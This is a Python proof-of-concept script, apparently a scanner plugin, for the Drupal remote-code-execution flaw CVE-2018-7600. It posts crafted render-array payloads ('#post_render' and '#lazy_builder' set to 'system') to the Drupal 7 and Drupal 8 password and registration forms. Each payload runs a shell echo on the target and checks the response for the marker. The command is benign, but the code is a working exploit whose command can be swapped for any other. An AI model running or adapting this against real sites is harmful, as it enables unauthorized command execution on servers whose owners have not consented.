import requests, re

'''
### POC for drupal CVE-2018-7600'
### by 阿烨
'''


def check(host):
    if host[-1::] != '/':
        host += '/'

    url = host + '?q=user/password&name[%23post_render][]=system&name[%23markup]=echo%20pwn!!!&name[%23type]=markup'
    data = {
        'form_id': 'user_pass',
        '_triggering_element_name': 'name'
    }
    r = requests.post(url, data=data, verify=False, timeout=5)

    result = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)

    if result:
        found = result.group(1)
        url = host + '?q=file/ajax/name/%23value/' + found
        data = {'form_build_id': found}
        r = requests.post(url, data=data, verify=False, timeout=5)

        if 'pwn' in r.text:
            return True
        else:
            pass
    else:
        pass

    # checking drupal8

    payload = {
        'mail[a][#lazy_builder][0]': (None, 'system'),
        'mail[a][#lazy_builder][1][]': (None, 'echo pwn!!!'),
        'form_id': (None, 'user_register_form')
    }

    headers = {'X-Requested-With': 'XMLHttpRequest'}

    url = host + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
    r = requests.post(url, files=payload, headers=headers, verify=False, timeout=5)

    if 'pwn' in r.text:
        return True
    else:
        return False


def initialization():
    return "drupal", {
        "callback": check,
        "what_cms": "drupal"
    }
